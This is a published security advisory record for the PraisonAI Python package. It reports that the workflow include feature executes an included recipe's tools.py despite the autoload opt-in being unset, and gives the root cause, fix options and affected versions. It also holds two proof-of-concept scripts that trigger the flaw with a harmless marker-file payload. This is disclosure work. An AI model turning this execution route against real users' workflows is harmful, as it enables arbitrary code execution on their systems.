{"id":"PYSEC-2026-3891","summary":"PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code","details":"## Summary\n\nPraisonAI's workflow include implementation implicitly imports and executes an included recipe's `tools.py` file even when the documented `tools.py` autoload opt-in is unset.\n\nThis bypasses the hardening added for the prior automatic `tools.py` RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.\n\nThe same sink is reachable through the higher-level `praisonai.recipe.run()` recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.\n\nThis is distinct from the previously published `tool_resolver.py`, `api/call.py`, `templates/tool_override.py`, and `agents_generator.py` variants. The affected callsite is the workflow include implementation in `praisonaiagents`, reached through the documented/covered `Include` workflow composition feature.\n\n## Affected Components\n\n- Package: `praisonaiagents`\n- File: `praisonaiagents/workflows/workflows.py`\n- Sink: `Workflow._execute_include()`\n- Current affected callsite:\n\n```python\ntools_py = recipe_path / \"tools.py\"\nif tools_py.exists():\n    spec = importlib.util.spec_from_file_location(\"recipe_tools\", tools_py)\n    recipe_module = importlib.util.module_from_spec(spec)\n    spec.loader.exec_module(recipe_module)\n```\n\nThe current head also contains a similar unguarded workflow-local `tools.py` import in `_resolve_pydantic_class()`. That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.\n\n## Security Boundary\n\nPraisonAI documents secure defaults for implicit `tools.py` autoload:\n\n- `PRAISONAI_ALLOW_TEMPLATE_TOOLS` controls implicit template/CWD `tools.py` autoload and is disabled by default.\n- `PRAISONAI_ALLOW_LOCAL_TOOLS` controls automatic loading of local `tools.py` files and requires the value `true`.\n- Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in.\n- Existing regression tests for `GHSA-xcmw-grxf-wjhj` assert that template/CWD `tools.py` must not execute by default.\n\n`Workflow._execute_include()` does not check `PRAISONAI_ALLOW_TEMPLATE_TOOLS`, does not check `PRAISONAI_ALLOW_LOCAL_TOOLS`, and does not route through the shared safe loader before executing the included recipe's `tools.py`.\n\nThe report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover `Include`, `include()`, YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe's `tools.py` unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.\n\nThe report also is not claiming that recipe `tools.py` files are inherently unsafe or unsupported. Official recipe documentation describes `tools.py` as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit `tools.py` autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.\n\n## Impact\n\nAn attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.\n\nThe payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.\n\n## Reproduction\n\nRun the attached local-only PoV:\n\n```bash\npython3 pov.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: included recipe tools.py executed with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nmarker=...\nmarker_content=executed\n```\n\nThe PoV:\n\n1. Unsets `PRAISONAI_ALLOW_LOCAL_TOOLS` and `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n2. Creates a temporary `child_recipe/tools.py` with a marker-write payload.\n3. Creates a minimal `child_recipe/workflow.yaml`.\n4. Runs `Workflow(steps=[include(\"child_recipe\")]).run(...)`.\n5. Confirms the marker file was written before any model-backed workflow step is needed.\n\nSupplementary higher-level API check:\n\n```bash\npython3 pov_recipe_run.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nrecipe_status=success\nrecipe_ok=True\nmarker=...\nmarker_content=executed\n```\n\n## Validation\n\nTested vulnerable:\n\n- Current head: `bcb6957dac1bc8949866522948a9f61d7e4bd4c1`\n- Latest release tag: `v4.6.56` (`praisonai==4.6.56`, `praisonaiagents==1.6.56`)\n- Older affected tag: `v3.9.26` (`praisonai==3.9.26`, `praisonaiagents==0.12.12`)\n\nNegative/control observations:\n\n- `v3.9.24` does not expose the same `include` helper/API used by this PoV.\n- The hardened `praisonai.templates.tool_override.create_tool_registry_with_overrides(..., template_dir=...)` path does not execute `tools.py` when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is unset.\n- Existing regression test `src/praisonai/tests/unit/templates/test_tool_override_autoload_gate.py` states that implicit recipe/template `tools.py` autoload should be gated behind `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n- Include is a first-class workflow feature, not an accidental private method: repository tests cover `include()` imports, YAML include parsing, direct `Workflow._execute_include` presence, and include steps inside loops.\n- `praisonai.recipe.run()` also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.\n\n## Root Cause\n\nThe include implementation reintroduced a direct `importlib.util.spec_from_file_location()` plus `spec.loader.exec_module()` path outside the centralized safe loader and template override gate. Prior fixes hardened several `tools.py` autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.\n\n## Suggested Fix\n\nRoute included-recipe tool loading through the same security policy used by the template tool override system.\n\nConservative options:\n\n1. Do not implicitly load included recipe `tools.py` by default.\n2. Only load it when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is explicitly truthy.\n3. Prefer explicit `tools_sources`, `override_files`, or a caller-supplied registry for custom tools.\n4. Add regression coverage for `Workflow(steps=[include(\"...\")])` proving included recipe `tools.py` does not execute with the opt-in unset.\n5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.\n\nIf local workflow includes are intended to use `PRAISONAI_ALLOW_LOCAL_TOOLS` instead, the same principle applies: the include sink should call a shared helper and should not perform raw `exec_module()` directly.\n\n## Severity\n\nRationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.\n\nCritical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.\n\n\n## Appendix A - pov.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI workflow include tools.py autoload.\n\nThis PoV uses only local files and the public workflow API. It verifies whether\na workflow-local include executes the included recipe's tools.py even when the\nPRAISONAI_ALLOW_LOCAL_TOOLS opt-in is unset.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_workflow_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -\u003e Path:\n    for parent in Path(__file__).resolve().parents:\n        candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n        if candidate.exists():\n            return candidate\n    raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -\u003e int:\n    repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n    os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n    os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n    workdir = Path(tempfile.mkdtemp(prefix=\"prai-include-autoload-\"))\n    old_cwd = Path.cwd()\n    try:\n        recipe = workdir / \"child_recipe\"\n        recipe.mkdir()\n        marker = workdir / MARKER_NAME\n\n        (recipe / \"tools.py\").write_text(\n            \"from pathlib import Path\\n\"\n            f\"Path({str(marker)!r}).write_text('executed')\\n\"\n            \"def benign_tool():\\n\"\n            \"    return 'ok'\\n\",\n            encoding=\"utf-8\",\n        )\n        (recipe / \"workflow.yaml\").write_text(\n            \"name: child\\n\"\n            \"steps: []\\n\",\n            encoding=\"utf-8\",\n        )\n\n        os.chdir(workdir)\n\n        from praisonaiagents.workflows.workflows import Workflow, include\n\n        workflow = Workflow(steps=[include(\"child_recipe\")])\n        workflow.run(input=\"\", llm=\"dummy/local\", stream=False)\n\n        if marker.exists():\n            print(\n                \"VULNERABLE: included recipe tools.py executed with \"\n                \"PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n            )\n            print(f\"marker={marker}\")\n            print(f\"marker_content={marker.read_text(encoding='utf-8')}\")\n            return 0\n\n        print(\"NOT VULNERABLE: included recipe tools.py did not execute\")\n        return 1\n    finally:\n        os.chdir(old_cwd)\n        shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```\n\n## Appendix B - pov_recipe_run.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Supplementary local PoV through praisonai.recipe.run().\n\nThis exercises the higher-level recipe API. It does not start a network server\nor rely on any external service. The payload writes a local marker file only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_recipe_run_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -\u003e Path:\n    for parent in Path(__file__).resolve().parents:\n        candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n        if candidate.exists():\n            return candidate\n    raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -\u003e int:\n    repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n    os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n    os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n    workdir = Path(tempfile.mkdtemp(prefix=\"prai-recipe-include-autoload-\"))\n    old_cwd = Path.cwd()\n    try:\n        parent_recipe = workdir / \"parent_recipe\"\n        child_recipe = workdir / \"child_recipe\"\n        parent_recipe.mkdir()\n        child_recipe.mkdir()\n        marker = workdir / MARKER_NAME\n\n        (parent_recipe / \"TEMPLATE.yaml\").write_text(\n            \"name: parent_recipe\\n\"\n            \"version: 1.0.0\\n\"\n            \"workflow: workflow.yaml\\n\",\n            encoding=\"utf-8\",\n        )\n        (parent_recipe / \"workflow.yaml\").write_text(\n            \"name: parent\\n\"\n            \"steps:\\n\"\n            \"  - include: child_recipe\\n\",\n            encoding=\"utf-8\",\n        )\n        (child_recipe / \"workflow.yaml\").write_text(\n            \"name: child\\n\"\n            \"steps: []\\n\",\n            encoding=\"utf-8\",\n        )\n        (child_recipe / \"tools.py\").write_text(\n            \"from pathlib import Path\\n\"\n            f\"Path({str(marker)!r}).write_text('executed')\\n\"\n            \"def benign_tool():\\n\"\n            \"    return 'ok'\\n\",\n            encoding=\"utf-8\",\n        )\n\n        os.chdir(workdir)\n\n        from praisonai import recipe\n\n        result = recipe.run(str(parent_recipe), input={}, options={\"force\": True})\n\n        if marker.exists():\n            print(\n                \"VULNERABLE: praisonai.recipe.run() reached workflow include \"\n                \"tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and \"\n                \"PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n            )\n            print(f\"recipe_status={result.status}\")\n            print(f\"recipe_ok={result.ok}\")\n            print(f\"marker={marker}\")\n            print(f\"marker_content={marker.read_text(encoding='utf-8')}\")\n            return 0\n\n        print(\"NOT VULNERABLE: recipe.run() did not execute included recipe tools.py\")\n        print(f\"recipe_status={result.status}\")\n        print(f\"recipe_error={result.error}\")\n        return 1\n    finally:\n        os.chdir(old_cwd)\n        shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```","aliases":["CVE-2026-55522","GHSA-hxmv-c4g6-5fqc","PYSEC-2026-3903"],"modified":"2026-09-10T12:26:08.525935822Z","published":"2026-09-10T09:44:53.745695Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-hxmv-c4g6-5fqc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55522"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonai"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hxmv-c4g6-5fqc"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.9.26"},{"fixed":"4.6.58"}]}],"versions":["3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.11.9","3.12.0","3.12.1","3.12.2","3.12.3","3.9.26","3.9.27","3.9.28","3.9.29","3.9.30","3.9.31","3.9.32","3.9.33","3.9.34","3.9.35","4.0.0","4.1.0","4.2.0","4.2.1","4.2.2","4.2.3","4.2.4","4.3.0","4.3.1","4.4.0","4.4.10","4.4.11","4.4.12","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.7","4.4.8","4.4.9","4.5.0","4.5.1","4.5.10","4.5.100","4.5.101","4.5.102","4.5.103","4.5.104","4.5.105","4.5.106","4.5.107","4.5.108","4.5.109","4.5.11","4.5.110","4.5.111","4.5.112","4.5.113","4.5.114","4.5.115","4.5.117","4.5.118","4.5.119","4.5.12","4.5.120","4.5.121","4.5.122","4.5.123","4.5.124","4.5.125","4.5.126","4.5.127","4.5.128","4.5.129","4.5.13","4.5.130","4.5.131","4.5.132","4.5.133","4.5.134","4.5.135","4.5.136","4.5.137","4.5.139","4.5.14","4.5.140","4.5.143","4.5.144","4.5.145","4.5.149","4.5.15","4.5.16","4.5.18","4.5.19","4.5.2","4.5.20","4.5.21","4.5.22","4.5.23","4.5.24","4.5.25","4.5.26","4.5.27","4.5.28","4.5.29","4.5.3","4.5.30","4.5.31","4.5.32","4.5.33","4.5.34","4.5.35","4.5.36","4.5.37","4.5.38","4.5.39","4.5.40","4.5.41","4.5.42","4.5.43","4.5.44","4.5.45","4.5.46","4.5.48","4.5.49","4.5.5","4.5.51","4.5.52","4.5.54","4.5.55","4.5.56","4.5.57","4.5.58","4.5.59","4.5.6","4.5.60","4.5.62","4.5.63","4.5.64","4.5.65","4.5.67","4.5.68","4.5.69","4.5.7","4.5.70","4.5.71","4.5.72","4.5.73","4.5.74","4.5.76","4.5.77","4.5.78","4.5.79","4.5.8","4.5.80","4.5.81","4.5.82","4.5.83","4.5.85","4.5.87","4.5.88","4.5.89","4.5.9","4.5.90","4.5.93","4.5.94","4.5.95","4.5.96","4.5.97","4.5.98","4.6.10","4.6.11","4.6.12","4.6.13","4.6.14","4.6.15","4.6.16","4.6.18","4.6.19","4.6.20","4.6.21","4.6.22","4.6.23","4.6.24","4.6.25","4.6.26","4.6.27","4.6.28","4.6.29","4.6.30","4.6.31","4.6.32","4.6.33","4.6.34","4.6.35","4.6.36","4.6.37","4.6.38","4.6.39","4.6.40","4.6.41","4.6.42","4.6.43","4.6.44","4.6.45","4.6.46","4.6.47","4.6.48","4.6.50","4.6.51","4.6.52","4.6.53","4.6.54","4.6.55","4.6.56","4.6.57","4.6.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-3891.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}